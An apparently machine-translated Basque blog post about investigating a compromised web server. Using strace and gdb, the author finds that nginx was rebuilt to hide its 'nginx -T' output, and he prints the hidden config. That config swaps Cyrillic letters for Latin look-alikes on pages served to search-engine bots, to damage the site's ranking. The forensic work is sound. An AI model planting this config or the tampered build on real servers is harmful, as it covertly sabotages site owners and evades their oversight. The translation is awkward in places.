'a' 'a'ren berdina ez denean. Hack baten harira

Istoriorik desatsegina gertatu zitzaion nire lagun bati. Baina Mikhailentzat desatsegina izan arren, niretzat bezain entretenigarria izan zen.

Nire laguna nahikoa dela esan behar dut UNIX-erabiltzailea: sistema berak instala dezake mysql, php eta ezarpen errazak egin nginx.
Eta eraikuntza tresnei eskainitako dozena bat edo bat eta erdi webgune ditu.

Motozerrei eskainitako gune horietako bat bilatzaileen TOPetan sendo kokatzen da. Gune hau ez-komertzialaren berrikuslea da, baina norbaitek erasotzeko ohitura hartu zuen. Hori DDoS, gero indar gordina, gero iruzkin lizuna idazten dute eta gehiegikeriak bidaltzen dituzte hostingera eta RKNra.
Bat-batean, dena baretu zen eta lasaitasun hori ez zen ona izan, eta webgunea pixkanaka bilaketa emaitzen goiko lerroak uzten hasi zen.

'a' 'a'ren berdina ez denean. Hack baten harira

Hori esaera bat zen, gero administratzailearen ipuina bera.

Lo egiteko ordua gertu zegoenean telefonoak jo zuen: “San, ez al diozu begiratuko nire zerbitzariari? Hackeatu egin nautela iruditzen zait, ezin dut frogatu, baina sentimenduak ez nau hirugarren asterako utzi. Agian paranoiaren aurkako tratamendua jasotzeko garaia da?».

Ondoren, ordu erdiko eztabaida izan zen eta honela labur daiteke:

  • Hacking egiteko lurra nahiko emankorra zen;
  • erasotzaile batek supererabiltzaile eskubideak lor ditzake;
  • erasoa (gertatu bazen) gune honetara zuzendu zen bereziki;
  • arazo-eremuak zuzendu dira eta sartzerik egon den ala ez ulertu behar duzu;
  • hack-ek ezin izan die gune-kodeari eta datu-baseei eragin.

Azken puntuari dagokionez.

'a' 'a'ren berdina ez denean. Hack baten harira

Frontend IP zuriak bakarrik begiratzen du mundura. Ez dago trukerik backend eta frontend-en artean http(k) izan ezik, erabiltzaileak/pasahitza desberdinak dira, ez da gakorik trukatu. Helbide grisetan, ataka guztiak itxita daude 80/443 izan ezik. Backend IP zuriak bi erabiltzailek baino ez dituzte ezagutzen, Mikhailek erabat fidatzen dituenak.

Frontendean instalatuta Debian 9 eta deia egiten den unean, sistema mundutik isolatuta dago kanpoko suebaki batek eta gelditu egiten da.

"Ok, emaidazu sarbidea", erabaki dut ordubetez lo egitea. "Neure begiekin ikusiko dut".

Hemen eta aurrerago:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Hack posible baten bila

Zerbitzaria abiarazten dut, lehenengo erreskate-modua. Diskoak muntatzen ditut eta pasatzen ditut agiri-erregistroak, historia, sistemaren erregistroak, etab., ahal izanez gero, fitxategiak sortzeko datak egiaztatzen ditut, nahiz eta ulertzen dudan cracker normal batek bere atzetik "esabatu" zuela, eta Misha-k jada asko "zapatu" zuela bere burua bilatzen ari zen bitartean. .

Modu normalean hasten naiz, oraindik ez dakit zer bilatu behar den, konfigurazioak aztertzen ditut. Lehenik eta behin, interesatzen zait nginx izan ere, orokorrean, frontend-ean ez baitago beste ezer.
Konfigurazioak txikiak dira, ondo egituratuta dozena bat fitxategitan, begiratu besterik ez dut egiten katua'oi banan-banan. Dena garbi dagoela dirudi, baina inoiz ez dakizu zerbait galdu ote nuen besteak beste,, utzi zerrenda osoa egiten:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ez nuen ulertu: "Non dago zerrenda?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Zerrendaren galderari bigarren galdera bat gehitzen zaio: "Zergatik nginx-en hain antzinako bertsioa?"

Gainera, sistemaren ustez, azken bertsioa instalatuta dago:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Deitzen ari naiz:
- Misha, zergatik muntatu zara berriro nginx?
- Esnatu, ez dakit nola egin ere!
- Ados, ba, lotara...

nginx argi eta garbi berreraiki da eta zerrendaren irteera "-T" erabiliz ezkutatuta dago arrazoi bategatik. Dagoeneko ez dago hacking-ari buruzko zalantzarik eta besterik gabe onartu eta (Dena den Misha zerbitzaria berri batekin ordezkatu zuenez) arazoa konponduta jo dezakezu.

Eta hain zuzen ere, norbaitek eskubideak lortu zituenetik root«A, orduan egiteak bakarrik dauka zentzua sistema berriro instalatzea, eta alferrikakoa zen han zer zegoen bilatzea, baina oraingoan jakinminak loa garaitu zuen. Nola jakin dezakegu zer ezkutatu nahi ziguten?

Saia gaitezen trazatzen:

$ strace nginx -T

Begiratzen dugu, argi eta garbi ez dago nahikoa lerro traza a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Dibertitzeko bakarrik, aldera ditzagun aurkikuntzak.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Uste dut kodearen zati bat /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

formara eraman zen:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

edo

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

beraz, "-T"-ren zerrenda ez da bistaratzen.

Baina nola ikus dezakegu gure konfigurazioa?

Nire pentsamendua zuzena bada eta arazoa aldagaian bakarrik badago ngx_dump_config saia gaitezen instalatzen erabiliz gdb, zorionez giltza bat dago --with-cc-opt -g optimizazio hori aurkeztu eta espero -O2 ez digu minik egingo. Aldi berean, nola ez dakitenez ngx_dump_config bertan prozesatu daiteke 'T' kasua:, ez dugu bloke honi deituko, baina instalatu erabilita 't' kasua:

Zergatik erabil dezakezu '-t' eta '-T'?Blokeen tratamendua if(ngx_dump_config) barruan gertatzen da if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Jakina, kodea zati honetan aldatzen bada eta ez 'T' kasua:, orduan nire metodoak ez du funtzionatuko.

Probatu nginx.confDagoeneko arazoa esperimentalki konponduta, malwareak funtziona dezan gutxieneko konfigurazio bat behar dela ezarri zen nginx mota:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Laburtasunerako erabiliko dugu artikuluan.

Abiarazi arazketa

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Urratsez urrats:

  • ezarri eten puntu bat funtzioan (Nagusia)
  • programa martxan jarri
  • aldatu konfigurazioaren irteera zehazten duen aldagaiaren balioa ngx_dump_config=1
  • programa jarraitu/amaitu

Ikusten dugunez, benetako konfigurazioa guretik desberdina da, pieza parasito bat hautatzen dugu:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ikus dezagun ordenan hemen gertatzen dena.

Zehazten dira Erabiltzaile Agenteerabiltzailearen yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Zerbitzu-orriak baztertuta daude wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Eta goiko bi baldintzetan sartzen direnentzat

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

testuan html-orriak aldatu 'O' on 'o' и 'A' on 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Hori bai, sotiltasun bakarra hori da 'a' != 'a' en bezala,-en moduan,-en gisan 'o' != 'o':

'a' 'a'ren berdina ez denean. Hack baten harira

Horrela, bilatzaileen bot-ek, %100eko testu ziriliko arruntaren ordez, latinez diluitutako zabor aldatua jasotzen dute. 'a' и 'o'. Ez naiz ausartzen horrek SEO-n nola eragiten duen eztabaidatzera, baina zaila da halako letren nahasketa batek eragin positiboa izatea bilaketa-emaitzetan posizioetan.

Zer esan dezaket, irudimena duten mutilak.

Erreferentziak

GDB-rekin arazketa
gdb(1) — Linux-en esku orria
strace(1) — Linux-en esku orria
Nginx - ngx_http_sub_module modulua
Zerra, motozerra eta zerra elektrikoei buruz

Iturria: www.habr.com

Gehitu iruzkin berria